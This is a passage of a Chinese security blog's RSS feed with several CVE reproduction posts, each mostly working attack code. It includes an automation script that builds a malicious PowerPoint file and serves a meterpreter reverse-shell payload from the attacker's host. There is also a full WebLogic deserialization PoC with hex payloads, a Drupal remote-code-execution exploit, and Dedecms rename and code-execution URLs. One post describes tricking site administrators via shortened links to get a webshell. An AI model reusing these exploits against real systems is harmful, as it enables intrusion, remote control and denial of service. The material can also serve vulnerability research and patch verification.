<div id="crayon-5d1fbcfbd558b933200399-1" class="crayon-line"><span class="crayon-i">python3</span> <span class="crayon-sy">.</span><span class="crayon-o">/</span><span class="crayon-v">dirty_sockv2</span><span class="crayon-sy">.</span><span class="crayon-v">py</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304" href="https://ws3.sinaimg.cn/large/006xriynly1g08d8ew3hgj30hm0didgl.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ws3.sinaimg.cn/large/006xriynly1g08d8ew3hgj30hm0didgl.jpg" alt="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304-ChaBug安全" /></a></div>
<p>如果成功，会创建一个账号密码都为<code>dirty_sock</code>的用户，su命令切换过去，然后通过sudo就可以切换为root了。</p>
<p>如果遇到了<code>No passwd entry for user 'dirty_sock'</code>的问题，则查看下图中的任务进度，等到doing任务执行完之后再进行尝试，如果仍不行，请使用方法一。</p>
<div class="post-image"><a class="fancybox" title="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304" href="https://ws3.sinaimg.cn/large/006xriynly1g08damzoqyj30tm0ikaeq.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ws3.sinaimg.cn/large/006xriynly1g08damzoqyj30tm0ikaeq.jpg" alt="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304-ChaBug安全" /></a></div>
<h2 id="参考链接"><i class="iconfont icon-link"></i>参考链接</h2>
<p><a href="https://usn.ubuntu.com/3887-1/" target="_blank" rel="nofollow noopener noreferrer">https://usn.ubuntu.com/3887-1/</a></p>
<p><a href="https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SnapSocketParsing" target="_blank" rel="nofollow noopener noreferrer">https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SnapSocketParsing</a></p>
<p><a href="https://github.com/initstring/dirty_sock" target="_blank" rel="nofollow noopener noreferrer">https://github.com/initstring/dirty_sock</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2017-8570 自动化</title>
		<link>/web/636.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 07 Jan 2019 15:40:38 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<guid isPermaLink="false">/?p=636</guid>

					<description><![CDATA[CVE-2017-8570是一个PowerPoint演示文稿的漏洞，利用方法简单且危害较大。攻击者只需要将生成的恶意ppsx（ppsx是office2007版以后的演示文稿的保存格...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block" contenteditable="true"><span class="">CVE-2017-8570是一个PowerPoint演示文稿的漏洞，利用方法简单且危害较大。攻击者只需要将生成的恶意ppsx（ppsx是office2007版以后的演示文稿的保存格式）文档发送给用户，用户打开放映后就会中招。</span></p>
<h3 class="md-end-block md-heading" contenteditable="true">影响版本</h3>
<p class="md-end-block" contenteditable="true">影响范围：</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="false" cid="n49" mdtype="fences"><span role="presentation">Microsoft Office 2007 Service Pack 3</span>
<span role="presentation">Microsoft Office 2010 Service Pack 2 (32-bit editions)</span>
<span role="presentation">Microsoft Office 2010 Service Pack 2 (64-bit editions)</span>
<span role="presentation">Microsoft Office 2013 RT Service Pack 1</span>
<span role="presentation">Microsoft Office 2013 Service Pack 1 (32-bit editions)</span>
<span role="presentation">Microsoft Office 2013 Service Pack 1 (64-bit editions)</span>
<span role="presentation">Microsoft Office 2016 (32-bit edition)</span>
<span role="presentation">Microsoft Office 2016 (64-bit edition)</span></pre>
<p>自动化脚本</p>
<pre class="lang:default decode:true ">attack_ip="192.168.1.212"
LPORT="6666"
DIR="/var/cve2017"

if [ -d ${DIR} ]; then
    rm -rf ${DIR}
    mkdir ${DIR}
else
    mkdir ${DIR}
fi
cd $DIR
`git clone https://github.com/tezukanice/Office8570.git`
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://$attack_ip/"/logo.doc"
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${attack_ip} LPORT=${LPORT} -f exe &gt; ${DIR}/shell.exe`

gnome-terminal -e "python cve-2017-8570_toolkit.py -M exp -e http://${attack_ip}/shell.exe -l ${DIR}/shell.exe"

`service postgresql start`
if [ -f "exp.rc" ]; then
    rm "exp.rc"
fi
echo "use exploit/multi/handler"&gt;&gt;exp.rc
echo "set LHOST "$attack_ip&gt;&gt;exp.rc
echo "set LPORT "$LPORT&gt;&gt;exp.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp"&gt;&gt;exp.rc
echo "exploit"&gt;&gt;exp.rc
gnome-terminal -e "msfconsole -r exp.rc"</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">参考链接</p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block" contenteditable="true"><span class="md-link" spellcheck="false"><a href="https://github.com/tezukanice/Office8570">https://github.com/tezukanice/Office8570</a></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block" contenteditable="true"><span class="md-link" spellcheck="false"><a href="https://xz.aliyun.com/t/3772">https://xz.aliyun.com/t/3772</a></span></p>
</li>
<li class="md-list-item md-focus-container">
<p class="md-end-block md-focus" contenteditable="true"><span class="md-link" spellcheck="false"><a href="https://github.com/Drac0nids/CVE-2017-8570">https://github.com/Drac0nids/CVE-2017-8570</a></span></p>
</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SMB空指针引用攻击（CVE-2018-0833）复现</title>
		<link>/web/514.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 07 Aug 2018 11:18:17 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[复现]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=514</guid>

					<description><![CDATA[1.漏洞简介 服务器信息块（SMB）是一个网络文件共享协议，它允许应用程序和终端用户从远端的文件服务器访问文件资源。这个崩溃发生的模块是“mrxsmb”。这是一个微软服务器消息块(...]]></description>
										<content:encoded><![CDATA[<p><strong>1.<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>简介</strong><br />
服务器信息块（SMB）是一个网络文件共享协议，它允许应用程序和终端用户从远端的文件服务器访问文件资源。这个崩溃发生的模块是“<code>mrxsmb</code>”。这是一个微软服务器消息块(SMB)的重定向器。<code>Windows 8.1</code>和<code>Windows server 2012 R2</code>存在该漏洞，在Windows 8.1 (x86)上执行，发送一个精心构造的数据包，因为它想要从地址<code>0x00000030</code>的内存中读取一个<code>受保护的(空页保护)值</code>，该值处于受保护的内存空间，会引起内核的处理异常，迫使机器重启造成拒绝服务。</p>
<div class="kx_md_br_div"></div>
<p><strong>2.<span class="wpcom_tag_link"><a href="/tags/%e5%a4%8d%e7%8e%b0" title="复现" target="_blank">复现</a></span>过程</strong><br />
目标环境：虚拟机windows 8<br />
IP: 192.168.192.141<br />
<img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/1563919199.png" alt="1.png" /></p>
<div class="kx_md_br_div"></div>
<p>受影响版本为<code>Windows 8.1</code>和<code>Windows server 2012 R2</code>，这里选取了<code>Windows8.1</code>。</p>
<div class="kx_md_br_div"></div>
<p>攻击端环境：Kali Linux<br />
IP：192.168.192.139<br />
<img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/666107847.png" alt="2.png" /></p>
<div class="kx_md_br_div"></div>
<p>运行PoC脚本等待靶机访问。</p>
<table class="syntaxhighlighter  python" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="python plain">python PoC.py</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p><img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/1535317972.png" alt="3.png" /></p>
<div class="kx_md_br_div"></div>
<p>靶机中输入Kali Linux的IP访问。</p>
<table class="syntaxhighlighter  python" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="python plain">\\</code><code class="python value">192.168</code><code class="python plain">.</code><code class="python value">192.139</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p><img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/2179088747.png" alt="4.png" /></p>
<div class="kx_md_br_div"></div>
<p><img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/1013245602.png" alt="5.png" /></p>
<div class="kx_md_br_div"></div>
<p>触发BSoD。<br />
<img class="div_message_boxShadow" src="http://www.5ecurity.cn/usr/uploads/2018/03/3905112452.png" alt="6.png" /></p>
<div class="kx_md_br_div"></div>
<p><strong>3.参考链接</strong><br />
https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/<br />
https://www.exploit-db.com/exploits/44189/</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-2628 weblogic漏洞验证</title>
		<link>/web/401.html</link>
					<comments>/web/401.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 18 Apr 2018 19:55:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=336</guid>

					<description><![CDATA[http://www.lengbaikai.net/?p=250 今早，朋友圈就刷爆了这个漏洞，但是目前只有POC验证脚本放出，后续有exp放出时，我会继续更新这篇博文。 0x01...]]></description>
										<content:encoded><![CDATA[<blockquote><p><a href="http://www.lengbaikai.net/?p=250">http://www.lengbaikai.net/?p=250</a></p></blockquote>
<p>今早，朋友圈就刷爆了这个<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>，但是目前只有POC验证脚本放出，后续有exp放出时，我会继续更新这篇博文。</p>
<p>0x01 综述</p>
<p>当地时间4月17日，北京时间4月18日凌晨，Oracle官方发布了4月份的关键补丁更新CPU（Critical Patch Update）,其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628)，这个漏洞是我在去年11月份报给Oracle的，通过该漏洞，攻击者可以在未授权的情况下远程执行任意代码。</p>
<p>参考链接：</p>
<p><a href="http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html">http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html</a></p>
<p>漏洞影响范围</p>
<pre><code>Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3</code></pre>
<p>0x02 复现</p>
<p>目前流传比较广的是<a href="https://github.com/jas502n/CVE-2018-2628/blob/master/weblogic_poc.client1.for.scan-cve-2018-2628.py">weblogic_poc.client1.for.scan-cve-2018-2628.py</a>这个验证脚本，我们来开一个<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>玩玩~<br /><img src="/wp-content/uploads/2018/04/3406048147.png" alt="QQ截图20180418161358.png" title="QQ截图20180418161358.png"><br />OK打开正常，这里的版本是12c<br /><img src="/wp-content/uploads/2018/04/1253064468.png" alt="QQ截图20180418162050.png" title="QQ截图20180418162050.png"></p>
<pre><code>#!env python
#coding=utf-8
#
# Author:       liaoxinxi@nsfocus.com
#
# Created Time: Wed 19 Jul 2017 01:47:53 AM CST
#
# FileName:     weblogic_poc.py
#
# Description:
#
# ChangeLog:
# -*- coding: utf-8 -*-
import socket
import time
import re
VUL=['CVE-2018-2628']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'
def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res
def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)&gt;0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])
def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    print 'rs',rs
    checkVul(rs,server_addr,index)
if __name__==&quot;__main__&quot;:
    dip = '218.1.102.99'
    dip = '10.65.46.125'
    dip = '192.168.3.216'
    dport = 7001
    run(dip,dport,0)
#    for i in range(0,len(VUL)):
#        run(dip,dport,i)
</code></pre>
<p><img src="/wp-content/uploads/2018/04/1739731174.png" alt="QQ截图20180418165521.png" title="QQ截图20180418165521.png"><br />这里只是验证存在漏洞，我会持续关注，待能执行命令的exp放出来之后我会接着更新。</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/401.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>CVE-2018-7600 Drupal 远程命令执行漏洞EXP</title>
		<link>/web/399.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 14 Apr 2018 15:19:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[Drupal]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[收集]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=328</guid>

					<description><![CDATA[CVE-2018-7600 Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8...]]></description>
										<content:encoded><![CDATA[<p>CVE-2018-7600</p>
<blockquote><p><span class="wpcom_tag_link"><a href="/tags/drupal" title="Drupal" target="_blank">Drupal</a></span> before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code .</p></blockquote>
<h3>影响版本</h3>
<ol>
<li>Drupal 6</li>
<li>Drupal 7</li>
<li>Drupal 8</li>
</ol>
<h3>修复建议</h3>
<p>Drupal 6.x的修复参考以下网站：</p>
<p><a href="https://www.drupal.org/project/d6lts">https://www.drupal.org/project/d6lts</a></p>
<p>Drupal 7.x请升级到Drupal 7.5.8版本，</p>
<p>同时官方给出7.X补丁，若用户无法立即升级版本，请更新补丁，补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&#038;id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5">https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&#038;id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5</a></p>
<p>Drupal 8.5.x请升级到Drupal 8.5.1版本</p>
<p>同时官方给出8.5.X补丁，若用户无法立即升级版本，请更新补丁，补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f">https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f</a></p>
<p>Drupal 8.3.x和8.4.x版本官方已不进行维护，但此<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>非常严重，官方此次也给出了对应补丁，补丁同8.5.x版本：补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f">https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f</a></p>
<p>由于Drupal 8.3.x和8.4.x版本官方已不进行维护，建议用户最好升级到官方维护的Drupal 8.3.9以及Drupal 8.4.6版本</p>
<h3>友情提示</h3>
<p>Drupal 8.0.x、Drupal 8.1.x、Drupal 8.2.x官方已不再维护，请各位用户升级到官方维护的版本</p>
<h3>EXP</h3>
<pre><code>#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
url = target + 'user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo &quot;;-)&quot; | tee hello.txt'}
r = requests.post(url, data=payload)
if r.status_code != 200:
  sys.exit(&quot;Not exploitable&quot;)
print ('\nCheck: '+target+'hello.txt')</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Dedecms V5.7 后台文件重命名[CVE-2018-9134]</title>
		<link>/web/392.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 01 Apr 2018 15:50:38 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[织梦]]></category>
		<guid isPermaLink="false">/?p=321</guid>

					<description><![CDATA[原文地址 https://xz.aliyun.com/t/2234 Dedecms V5.7版本后台可实现对于文件的重命名，可将上传的任意文件重名为php文件，导致getshell...]]></description>
										<content:encoded><![CDATA[<blockquote><p>原文地址 <a href="https://xz.aliyun.com/t/2234">https://xz.aliyun.com/t/2234</a></p></blockquote>
<p>Dedecms V5.7版本后台可实现对于文件的重命名，可将上传的任意文件重名为php文件，导致getshell。</p>
<p>该漏洞的逻辑比较简单，就从漏洞的入口文件开始看，漏洞的入口文件是<code>dede/file_manage_control.php</code>，其部分源码如下：<br /><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180330183055-6e031b8c-3405-1.png" alt="" title=""></p>
<p>重点就在于这里的if，由于dede采取的是伪全局变量注册机制，导致在未经过滤的情况下我们可声明任意变量。在该文件中，前面只是简单的验证身份是否正确，并没有对于变量进行任何过滤。也就是说，我们可控$fmdo,$oldfilename,$newfilename这三个变量。</p>
<p>跟进RenameFile方法，文件位于<code>dede/file_class.php</code>：<br /><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180330183056-6e171812-3405-1.png" alt="" title=""></p>
<p>在这个方法中，对于传入的变量只是进行参数拼接操作，就是我们传入的参数前加上web服务的根目录的绝对路径。对于之后的变量没有任何过滤。导致我们可操作自行上传的文件。从而实现将任意类型文件重命名为php文件。</p>
<p>利用方式：<br />首先随便找个上传点，上传合法文件。获取上传之后的文件路径。<br />这里我找的是前台-&gt;会员中心-&gt;附件管理，从这上传一个zip文件，内容就是phpinfo()<br /><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180330183056-6e274db8-3405-1.png" alt="" title=""></p>
<p>可以在源码里看到上传文件的路径：<br /><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180330183056-6e344fa4-3405-1.png" alt="" title=""></p>
<p>接下来构造触发重命名payload：<br />将文件路径的值填入oldfilename参数，这里注意不要加反斜杠<br />newfilename的值就是我们要生成的木马文件的名称。（由于我的dede并不是放在web服务的根目录下，因此我这里需要加上<span class="wpcom_tag_link"><a href="/tags/dedecms" title="dedecms" target="_blank">dedecms</a></span>/）<br />fmdo构造为rename即可<br />最终生成以下poc:</p>
<pre><code>http://localhost/dedecms2/dede/file_manage_control.php?fmdo=rename&amp;oldfilename=dedecms2/uploads/userup/1/151QM125-42I.zip&amp;newfilename=dedecms2/wisdom.php</code></pre>
<p>执行之后访问：<code>http://localhost/dedecms2/wisdom.php</code></p>
<p>配合存储型xss可getshell。</p>
<p>修复方案：在file_class.php中过滤$newname参数，或者file_manage_control.php中过滤$newfilename参数，判断文件后缀是否为php</p>
<p><a href="https://xz.aliyun.com/u/2395">mochazz</a>:可以利用这个文件名任意修改的漏洞结合CSRF以及一点点社工手段打出组合拳。具体手法如下：</p>
<ul>
<li>利用dede前台会员上传点上传文件，获取路径</li>
<li>构造攻击url</li>
<li>将一长长的恶意url变成短连接</li>
<li>社工网站管理员，让其点击</li>
<li>成功getshell</li>
</ul>
<p>不过有一点不够隐蔽，就是在管理员点击链接后，会提示成功修改文件名，这个可能会引起细心的管理员的警觉。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Dedecms V5.7后台任意代码执行[CVE-2018-7700]</title>
		<link>/web/390.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 28 Mar 2018 16:32:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[代码]]></category>
		<guid isPermaLink="false">/?p=319</guid>

					<description><![CDATA[该漏洞的触发点为/dede/tag_test_action.php。起因是csrf_check()的绕过，导致可执行任意代码。 POC: http://localhost/后台地址...]]></description>
										<content:encoded><![CDATA[<p>该漏洞的触发点为<code>/dede/tag_test_action.php</code>。起因是<code>csrf_check()</code>的绕过，导致可执行任意<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>。</p>
<p>POC:</p>
<pre><code>http://localhost/后台地址/tag_test_action.php?url=a&amp;token=&amp;partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}</code></pre>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180328005501-96c638a6-31df-1.png" alt="" title=""></p>
<p>利用条件：登录后台<br />解决方案：重新实现csrf_check()函数</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
